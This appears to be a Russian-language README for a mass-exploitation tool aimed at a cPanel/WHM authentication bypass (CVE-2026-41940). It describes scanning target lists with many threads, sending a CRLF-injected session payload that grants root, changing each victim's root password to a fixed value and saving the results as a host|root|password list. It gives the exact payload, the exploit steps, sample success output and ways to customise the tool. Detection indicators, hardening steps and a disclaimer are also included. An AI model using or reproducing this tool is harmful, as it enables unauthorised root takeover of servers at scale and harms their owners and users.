
Bulk scanner and mass exploitation tool for CVE-2026-41940 on cPanel/WHM, built for automated target validation and high-speed multi-threaded execution.
CVE-2026-41940 — это критическая уязвимость обхода аутентификации в WHM/cPanel, позволяющая злоумышленникам обойти аутентификацию и получить root-доступ к серверу без действительных учётных данных. Уязвимость использует CRLF-инъекцию в механизме управления сессиями для внедрения вредоносных параметров сессии.
Этот инструмент предоставляет возможности массовой эксплуатации с поддержкой многопоточности для одновременного тестирования нескольких целей, с интеллектуальным обнаружением успеха и автоматической фильтрацией недействительных целей.
| Возможность | Описание |
|---|---|
| ✅ Массовая эксплуатация | Сканирование и эксплуатация нескольких целей из файла списка |
| 🚀 Многопоточность | Настраиваемое количество потоков для более быстрого сканирования (по умолчанию: 15) |
| 🔐 Автосмена пароля | Меняет root-пароль на Jenderal92 при успешной эксплуатации |
| 🛡️ Умное обнаружение успеха | Автоматически определяет различные форматы ответов WHM API |
| ⚠️ Фильтрация ошибок лицензии | Исключает цели с ошибками «недопустимая/невозможно прочитать лицензию» |
| 📝 Структурированный вывод | Сохраняет только подтверждённые успехи в формате domain:port|user|pass |
| 🛡️ Поддержка SSL/TLS | Автоматическая обработка самоподписанных сертификатов |
| 🔄 Управление сессиями | Автоматическое извлечение сессии, внедрение cookie и обработка токенов |
| ⏱️ Контроль таймаута | Настраиваемый таймаут соединения (по умолчанию: 15 секунд) |
| 🔍 Проверка перед подключением | Проверка доступности порта перед попыткой эксплуатации |
| 📊 Прогресс в реальном времени | Показывает подробный прогресс каждого этапа эксплуатации |
pip install requests urllib3 futures
Или используйте requirements.txt:
requests==2.27.1
urllib3==1.26.18
futures==3.4.0
# Клонирование репозитория
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940
# Установка зависимостей
pip install -r requirements.txt
# Сделать исполняемым (Linux/Mac)
chmod +x CVE-2026-41940.py
Создайте файл targets.txt с одной целью на строку:
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com
Примечание: Порт
2087— порт WHM по умолчанию. Если не указан, автоматически будет использоваться порт 2087. Префикс HTTP/HTTPS будет добавлен автоматически, если отсутствует.
python2 CVE-2026-41940.py targets.txt
# Использовать 5 одновременных потоков
python2 CVE-2026-41940.py targets.txt --threads 5
# Использовать 20 потоков для более быстрого сканирования
python2 CVE-2026-41940.py targets.txt --threads 20
# Переопределить заголовок Host для всех целей
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10
# Установить таймаут 30 секунд для медленных соединений
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30
res.txt)Сохраняются только подтверждённые успешные эксплойты. Цели с ошибками лицензии, неудачной сменой пароля или проблемами с соединением автоматически исключаются.
Формат:
domain:port|root|Jenderal92
Пример вывода:
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92
Следующие цели НЕ будут сохранены в res.txt:
Cannot Read License File)$ python2 CVE-2026-41940.py targets.txt --threads 10
CVE-2026-41940 bypass authentication - Mass Exploit
[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED
==================================================
[*] Checking target: 127.0.0.1
Original input: 127.0.0.1
Normalized: https://127.0.0.1:2087
Port 2087: OPEN
Testing connection... OK (HTTP 200)
[0] hostname = example.com
[1] minting a preauth session...
session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.118.0.13"}
[*] attempting to change the root password
passwd -> HTTP 200
{
"data": {
"app": ["system"]
},
"metadata": {
"output": {
"raw": "Password for \"root\" has been changed."
},
"reason": "Password changed for user \"root\".",
"version": 1,
"command": "passwd",
"result": 1
}
}
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!
[✓] SUCCESS & SAVED: 127.0.0.1:2087
Saved to res.txt: 127.0.0.1:2087|root|Jenderal92
==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4
[+] Results saved to res.txt
Successfully exploited targets (password changed to Jenderal92):
✓ 127.0.0.1:2087
Эксплойт состоит из 4 основных этапов с интеллектуальной проверкой:
[1] minting a preauth session...
/login/?login_only=1 с недействительными учётными даннымиwhostmgrsession из ответа сервера,<obhex>[2] sending the CRLF injection...
Authorization: Basic, содержащим вредоносную нагрузкуroot:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
\r\n) внедряют поддельные параметры сессииLocation, содержащим cp_security_token[3] firing do_token_denied to propagate...
/scripts2/listaccts с манипулированным cookiedo_token_denied в WHM[4] verifying we're WHM root...
/json-api/version для проверки доступа уровня root/json-api/passwd для смены root-пароля на Jenderal92{"metadata": {"result": 1}} (cPanel v11.118+){"status": 1} (старые версии){"result": [{"status": 1}]} (устаревший формат)Инструмент автоматически исключает:
{"status": 0, "statusmsg": "Cannot Read License File"}# Лог доступа WHM
/usr/local/cpanel/logs/access_log
# Лог ошибок cPanel
/usr/local/cpanel/logs/error_log
# Лог аутентификации
/var/log/secure
# Системные сообщения
/var/log/messages
Обновите WHM/cPanel до последней пропатченной версии немедленно
/usr/local/cpanel/scripts/upcp
Включите двухфакторную аутентификацию (2FA) для всех учётных записей, особенно root
WHM → Security Center → Two-Factor Authentication
Ограничьте доступ к WHM с помощью белого списка IP-адресов
WHM → Security Center → Host Access Control
Регулярно проверяйте журналы доступа на предмет подозрительных шаблонов
tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
Смените все пароли, если есть подозрение на компрометацию
Используйте правила брандмауэра для ограничения доступа к порту 2087
# Разрешить только доверенные IP
iptables -A INPUT -p tcp --dport 2087 -s YOUR_TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 2087 -j DROP
# Или используйте брандмауэр CSF/LFD
csf -a YOUR_TRUSTED_IP
Внедрите правила WAF для обнаружения попыток CRLF-инъекции
Регулярные аудиты безопасности установок WHM/cPanel
echo "https://myserver.com:2087" > my_server.txt
python2 CVE-2026-41940.py my_server.txt --threads 1
python2 CVE-2026-41940.py all_servers.txt --threads 20 --timeout 20
python2 CVE-2026-41940.py servers.txt --threads 5 --timeout 45
python2 CVE-2026-41940.py servers.txt --hostname internal.cpanel.server --threads 10
# targets.txt может содержать различные форматы:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50
# Все будут нормализованы автоматически
python2 CVE-2026-41940.py targets.txt --threads 15
Проблема: Используется Python 3 вместо Python 2.7
Решение: Этот инструмент требует именно Python 2.7.
# Проверьте версию Python
python2 --version # Должно показывать Python 2.7.x
# Запустите с явным указанием python2
python2 CVE-2026-41940.py targets.txt
Проблема: Цель не в сети или брандмауэр блокирует
Решение:
# Проверьте вручную
telnet target.com 2087
nmap -p 2087 target.com
curl -k https://target.com:2087
Проблема: Цель может быть пропатчена или не запущена WHM
Решение:
https://target:2087Решение: Настройте количество потоков и таймаут
# Для большого числа целей с хорошей связностью
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10
# Для ненадёжных соединений
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45
Примечание: Цели с Cannot Read File License автоматически исключаются из res.txt. Это ожидаемое поведение, так как смена пароля не будет работать на нелицензионных установках WHM.
Вы можете изменить PAYLOAD_B64 для настройки параметров сессии:
import base64
# Пользовательская нагрузка
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""
encoded = base64.b64encode(payload.encode())
print(encoded)
Измените пароль в функции do_passwd() (строка ~280):
{"user": "root", "password": "YourCustomPassword123"}
Функцию do_passwd() можно изменить для определения пользовательских форматов ответов WHM:
# Добавить пользовательский шаблон в do_passwd()
if 'your_custom_success_string' in (r.text or '').lower():
return "success"
Приветствуются любые вклады! Пожалуйста, следуйте этим шагам:
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Если этот инструмент полезен для вашего исследования безопасности, пожалуйста, поставьте ему ⭐ на GitHub!
Вопрос: Можно ли обнаружить этот инструмент?
Ответ: Да, этот инструмент оставляет следы в журналах доступа WHM/cPanel. Используйте только с надлежащим разрешением и для легитимного тестирования безопасности.
Вопрос: Сколько времени занимает эксплуатация?
Ответ: Примерно 5-15 секунд на цель в зависимости от задержки сети и времени отклика сервера.
Вопрос: Требуется ли предварительный root-доступ?
Ответ: Нет, этот эксплойт работает полностью извне без какой-либо аутентификации.
Вопрос: Работает ли этот инструмент в Windows?
Ответ: Да, при условии, что Python 2.7 правильно установлен и настроен.
Вопрос: Моя цель использует другой порт, что делать?
Ответ: Укажите порт в URL цели: https://target.com:2083 для cPanel или любой пользовательский порт.
Вопрос: Почему некоторые цели не сохраняются в res.txt, даже если эксплойт сработал?
Ответ: Инструмент сохраняет только цели, где пароль был успешно изменён. Цели с ошибками лицензии, неудачной сменой пароля или другими проблемами исключаются, даже если обход аутентификации был успешен.
Вопрос: Какие версии WHM/cPanel уязвимы?
Ответ: Версии до патча CVE-2026-41940. Проверьте журнал изменений cPanel для пропатченной версии.
Jenderal92 при успешной эксплуатации2087 (автоматически используется, если не указан)res.txt сохраняются только подтверждённые успехи (пароль изменён)res.txt (предыдущие результаты удаляются)
Создано для образовательных целей исследования безопасности
Используйте ответственно, оставайтесь в рамках закона, соблюдайте этику
⚠️ КРИТИЧЕСКОЕ ПРЕДУПРЕЖДЕНИЕ!
Этот инструмент создан исключительно для:
- ✅ Образовательных целей и исследования безопасности
- ✅ Авторизованного тестирования на проникновение
- ✅ Оценки безопасности систем, которыми вы владеете
- ✅ Проверки уязвимостей с письменного разрешения
СТРОГО ЗАПРЕЩЁННЫЕ виды использования:
- ❌ Доступ к системам без явного разрешения
- ❌ Любые формы незаконной деятельности
- ❌ Вредоносные действия или причинение вреда системам
- ❌ Неавторизованный доступ к любым компьютерным системам
- ❌ Нарушение любых местных, государственных или федеральных законов
Автор(ы) НЕ несут никакой ответственности за любое неправильное использование, ущерб или последствия, возникшие в результате использования этого инструмента. Используя этот инструмент, вы соглашаетесь использовать его только на системах, которыми вы владеете или на тестирование которых имеете письменное разрешение.
Если вы продолжаете, вы подтверждаете, что:
- У вас есть разрешение на тестирование целевых систем
- Вы понимаете юридические последствия несанкционированного доступа
- Вы будете соблюдать все применимые законы и правила
- Автор(ы) не несут ответственности за ваши действия
Больше отказов от ответственности можно увидеть на обложке Jenderal92. Вы можете проверить ЗДЕСЬ!!!
| Аргумент | Описание | По умолчанию | Обязательно |
|---|
list_file | Файл, содержащий список целей (по одной на строку) | - | ✅ Да |
--threads | Количество одновременных потоков | 15 | ❌ Нет |
--hostname | Переопределить заголовок Host для всех целей | Автоопределение | ❌ Нет |
--timeout | Таймаут соединения в секундах | 15 | ❌ Нет |
| Индикатор | Описание |
|---|
Аномальный cookie whostmgrsession | Необычные шаблоны cookie без правильной аутентификации |
| CRLF-символы в заголовках | Обнаружение последовательностей \r\n в HTTP-заголовках |
Доступ к /scripts2/listaccts | Неавторизованный доступ к этому пути |
Пароль Jenderal92 | Успешный вход с использованием этого конкретного пароля |
Утечка токена cpsess | Токен безопасности, видимый в заголовке Location |
| Неудачный вход, за которым следует успех | POST на /login/?login_only=1 с неверным паролем, затем привилегированный доступ |